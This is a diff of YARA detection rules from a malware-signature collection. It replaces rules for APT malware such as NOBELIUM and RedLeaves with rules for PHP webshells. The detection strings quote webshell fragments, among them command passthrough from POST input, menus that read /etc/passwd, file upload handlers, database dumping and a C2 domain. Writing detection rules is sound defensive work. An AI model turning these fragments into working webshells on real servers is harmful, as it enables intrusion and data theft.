+		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $mutex
+		2 of them
 }
-rule SIGNATURE_BASE_Slserver_Command_And_Control : FILE
+rule SIGNATURE_BASE_Webshell__Cyber_Shell_Cybershell_Cyber_Shell__V_1_0_
 {
 	meta:
-		description = "Searches for the C2 server."
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "e4fcda6c-1c9f-5b58-8b07-8d1a0dc4eaf6"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "79146f25-87b9-5216-af88-4e433bb08b90"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L160-L180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48a13d27b7dc9a7f3a65752142b2a291e7c3ee93ef67b36aa4202d065e74d80e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6737-L6754"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fc2cf9a25ccc5aa3d9dc287ef9600b065ba9025cfb0a1ccca1bce9120ea03ff4"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
 
 	strings:
-		$c2 = "safetyssl.security-centers.com"
+		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
+		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
+		$s11 = " *   Coded by Pixcher" fullword
+		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $c2
+		2 of them
 }
-rule SIGNATURE_BASE_Slserver_Campaign_Code : FILE
+rule SIGNATURE_BASE_Webshell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_Soldierofallah
 {
 	meta:
-		description = "Searches for the related campaign code."
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "672f506e-0cc1-5b09-873b-c3d206486bac"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a158d158-d48d-514c-8b7b-4b6a4a10d021"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L182-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbf53678399b0e14eae6f1bb6594b2aa665f76f10388e492bec2f9101a4dd4b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6755-L6775"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b9e0d96c8a618a4883235e8c5c9a03a1e0b586cb4b30e0273e24c35ee5ee502"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
+		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
+		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
 
 	strings:
-		$campaign = "wthkdoc0106"
+		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
+		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
+		$s3 = "$dt = $_POST['filecontent'];" fullword
+		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
+		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
+		$s11 = "document.cmdform.command.value='';" fullword
+		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $campaign
+		3 of them
 }
-rule SIGNATURE_BASE_Slserver_Unknown_String : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_7
 {
 	meta:
-		description = "Searches for a unique string."
-		author = "Matt Brooks, @cmatthewbrooks"
-		id = "00341604-480f-59aa-9c18-009e7b53928e"
-		date = "2016-04-18"
+		description = "PHP Webshells Github Archive"
+		author = "Florian Roth (Nextron Systems)"
+		id = "506373d6-31b4-5a14-b009-f2b43028a98b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_between-hk-and-burma.yar#L204-L224"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "18d3bb236282c506c161949883722da1cb0af6dd87bf5cb3d4a5b3d90f4a7db0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6776-L6794"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9d9b6b1333f2061c357fad110b5cc508288c70aea1212aa2fcbf283a2ce4fb2c"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
+		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
+		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
+		hash3 = "715f17e286416724e90113feab914c707a26d456"
 
 	strings:
-		$string = "test-b7fa835a39"
+		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
+		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
+		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
+		$s4 = "if( $action == \"dumpTable\" )" fullword
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $string
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Hogfish_Report_Related_Sample : FILE
+rule SIGNATURE_BASE_Webshell__Small_Web_Shell_By_Zaco_Small_Zaco_Zacosmall
 {
 	meta:
-		description = "Detects APT10 / Hogfish related samples"
+		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7fc4fdda-b71f-5c9c-87a4-5d8290b99348"
-		date = "2018-05-01"
+		id = "99dbcea6-7208-5bbe-b200-9ea3074d7855"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt10_redleaves.yar#L13-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bff74f7a72a3e40e828284ed37b2f7ea64d8df52e946372d38e379d9b7b7a445"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6795-L6813"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "840c58043e39014e90e7621c1d2417d5a970c744560738abc4fea3db3cbb8d5a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac"
-		hash2 = "7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee"
-		hash3 = "4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262"
+		super_rule = 1
+		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
+		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
+		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
+		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
 
 	strings:
-		$s1 = "R=user32.dll" fullword ascii
+		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
+		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
+		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
+		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="efad9ff8c0d2a6419bf1dd970bcd806d" or 1 of them )
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Redleaves_Apr18_1 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_8
 {
 	meta:
-		description = "Detects RedLeaves malware"
+		description = "PHP Webshells Github Archive"
 		author = "Florian Roth (Nextron Systems)"
-		id = "578b40d7-6818-56d5-92ce-535141c0aa8e"
-		date = "2018-05-01"
+		id = "40c6f69f-9963-5e4f-af44-041d47738519"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt10_redleaves.yar#L33-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e34b95e96de88aef20050b6b9580600365284117918c24f76c884b089fa20623"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6814-L6833"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "346df2686c4d43b3210b07a30845477e057602500e67baba69b50c41e8d501fa"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b"
-		hash2 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
-		hash3 = "d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
+		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
+		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
+
+	strings:
+		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
+		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s3 = "/* I added this to ensure the script will run correctly..." fullword
+		$s14 = "<!--    </form>   -->" fullword
+		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
+		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="7a861cd9c495e1d950a43cb708a22985" or pe.imphash()=="566a7a4ef613a797389b570f8b4f79df")
+		3 of them
 }
-rule SIGNATURE_BASE_CVE_2015_1674_CNGSYS : CVE_2015_1674 FILE
+rule SIGNATURE_BASE_Webshell__PH_Vayv_Phvayv_PH_Vayv_Klasvayv_Asp_Php
 {
 	meta:
-		description = "Detects exploits for CVE-2015-1674"
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1161b395-a19e-5aac-8416-8a4e60aeca37"
-		date = "2015-05-14"
+		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.binvul.com/viewthread.php?tid=508"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_1674.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
-		logic_hash = "d751ef739a6fb8b0871f92cb4aba21544f444944710407c723f0452dc3b85522"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6834-L6852"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "42959ba1e3c0f7f198f953e98b9df87059999f5526df4338c109828d0a5a518a"
 		score = 75
 		quality = 85
-		tags = "CVE-2015-1674, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
 
 	strings:
-		$s1 = "\\Device\\CNG" wide
-		$s2 = "GetProcAddress" fullword ascii
-		$s3 = "LoadLibrary" ascii
-		$s4 = "KERNEL32.dll" fullword ascii
-		$s5 = "ntdll.dll" fullword ascii
+		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
+		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
+		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
+		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		2 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_1 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_9
 {
 	meta:
-		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
+		description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "42739aad-a88a-545b-8256-1f727c79c4f8"
-		date = "2021-05-29"
-		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L56-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad8a7bb5a1d2065e3a573842fb37ee3c63b7695c18840f0c26d32e6ae3d99c6c"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		id = "98927127-08be-57ac-a090-38c7e614dae7"
+		date = "2014-04-06"
+		modified = "2022-12-06"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6854-L6874"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9f8768f609ccd464f7c2b9d10ce8ea423355e11b05b39e629e5e3de0787e212b"
+		score = 70
+		quality = 77
+		tags = ""
+		super_rule = 1
+		hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
+		hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
+		hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
 
 	strings:
-		$x1 = "[i].charCodeAt(0) ^ 2);}"
+		$ = { 3a 3c 62 3e 22 20 2e 62 61 73 65 36 34 5f 64 65 63 6f 64 65 28 24 5f 50 4f 53 54 5b 27 74 6f 74 27 5d 29 2e 20 22 3c 2f 62 3e 22 3b }
+		$ = { 69 66 20 28 69 73 73 65 74 28 24 5f 50 4f 53 54 5b 27 77 71 27 5d 29 20 26 26 20 24 5f 50 4f 53 54 5b 27 77 71 27 5d 3c 3e 22 22 29 20 7b }
+		$ = { 70 61 73 73 74 68 72 75 28 24 5f 50 4f 53 54 5b 27 63 27 5d 29 3b }
+		$ = { 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 74 61 63 22 20 76 61 6c 75 65 3d 22 31 22 3e 42 36 34 20 44 65 63 6f 64 65 3c 62 72 3e }
 
 	condition:
-		filesize <5000KB and 1 of them
+		1 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_JS_Envyscout_May21_2 : FILE
+rule SIGNATURE_BASE_Webshell__PH_Vayv_Phvayv_PH_Vayv
 {
 	meta:
-		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d5cf3365-fe24-533a-a678-b5b6d4d99997"
-		date = "2021-05-29"
+		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L69-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f5c50b340d628559799897a2ba79add7d126e3ecb2daeb365bc15d64796ccd2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6876-L6892"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b2f2b95415bc990adac38eada20cbc793f286d51f2054bc969e9c667f16717f9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
 
 	strings:
-		$s1 = "saveAs(blob, " ascii
-		$s2 = ".iso\");" ascii
-		$s3 = "application/x-cd-image" ascii
-		$s4 = ".indexOf(\"Win\")!=-1" ascii
+		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
+		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
+		$s17 = "name=\"duzenx2\" value=\"Klas" fullword
 
 	condition:
-		filesize <5000KB and all of them
+		2 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_NV_Link_May21_2 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_1
 {
 	meta:
-		description = "Detects NV Link as used by NOBELIUM group"
+		description = "PHP Webshells Github Archive - from files Dive Shell 1.0"
 		author = "Florian Roth (Nextron Systems)"
-		id = "52c2caf9-13df-5614-9c9e-afcd76ec77f9"
-		date = "2021-05-29"
-		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L85-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5eee9df368da3fc98c00a0f8c65a7f3bd5b812342082be58054b272b5bb03455"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		id = "9a87038b-3f78-5b9a-a209-c9026d83363f"
+		date = "2014-04-06"
+		modified = "2022-12-06"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6894-L6913"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9e3759d45d13e33481b962c4b59a019647a3e80bdd3885c4404169af74288b89"
+		score = 70
+		quality = 79
+		tags = ""
+		super_rule = 1
+		hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
+		hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
+		hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
+		hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
 
 	strings:
-		$s1 = "RegisterOCX BOOM" ascii wide
-		$s2 = "cmd.exe /c start BOOM.exe" ascii wide
+		$ = { 76 61 72 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3d 20 6e 65 77 20 41 72 72 61 79 28 3c 3f 70 68 70 20 65 63 68 6f 20 24 6a 73 5f 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3f 3e 29 3b }
+		$ = { 69 66 20 28 65 6d 70 74 79 28 24 5f 53 45 53 53 49 4f 4e 5b 27 63 77 64 27 5d 29 20 7c 7c 20 21 65 6d 70 74 79 28 24 5f 52 45 51 55 45 53 54 5b 27 72 65 73 65 74 27 5d 29 29 20 7b }
+		$ = { 69 66 20 28 65 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 38 20 26 26 20 63 75 72 72 65 6e 74 5f 6c 69 6e 65 20 3c 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 2e 6c 65 6e 67 74 68 2d 31 29 20 7b }
 
 	condition:
-		filesize <5000KB and 1 of them
+		1 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_LNK_Samples_May21_1 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_PHP_2
 {
 	meta:
-		description = "Detects link file characteristics as described in APT29 NOBELIUM report"
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c807ab5a-f66a-5622-81b1-6e69b6df8446"
-		date = "2021-05-27"
+		id = "be335331-34d7-5abc-b29b-eac7a5ec3915"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L99-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32d76bb1af76f0fc2afb76d9726bc8ec99c4be34c9d46cebab7356d8c68af11c"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6915-L6934"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a63d3b00ad9719140da9bb5dcb49981c4d3758fac13c392d016b47e54f356c8"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "24caf54e7c3fe308444093f7ac64d6d520c8f44ea4251e09e24931bdb72f5548"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$a1 = "rundll32.exe" wide
-		$sa1 = "IMGMountingService.dll" wide
-		$sa2 = "MountImgHelper" wide
-		$sb1 = "diassvcs.dll" wide
-		$sb2 = "InitializeComponent" wide
-		$sc1 = "MsDiskMountService.dll" wide
-		$sc2 = "DiskDriveIni" wide
-		$sd1 = "GraphicalComponent.dll" wide
-		$sd2 = "VisualServiceComponent" wide
-		$se1 = "data/mstu.dll,MicrosoftUpdateService" wide
+		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
+		$s4 = "\\$port = {$_POST['port']};"
+		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
+		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
+		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"
 
 	condition:
-		uint16(0)==0x004c and filesize <4KB and $a1 and ( all of ($sa*) or all of ($sb*) or all of ($sc*) or all of ($sd*) or all of ($se*))
+		4 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Boombox_May21_1
+rule SIGNATURE_BASE_Webshell__Crystalshell_V_1_Erne_Stres
 {
 	meta:
-		description = "Detects BoomBox malware as described in APT29 NOBELIUM report"
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fe964f3e-1cda-5f16-838f-dd7b23cd5651"
-		date = "2021-05-27"
+		id = "4e73e42e-b968-5b68-a00d-d2a8a1f3541c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_nobelium_may21.yar#L130-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "02e4a1c88c5d5567c2c4098f60107d66ace9deaf03c480f15615f7f85a7c620c"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6935-L6956"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a0484a5a71715d6a79c89e20919ab89aaa7e85a18ee502651f1f6b29153847a3"
+		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
 
 	strings:
-		$xa1 = "123do3y4r378o5t34onf7t3o573tfo73" ascii wide fullword
-		$xa2 = "1233t04p7jn3n4rg" ascii wide fullword
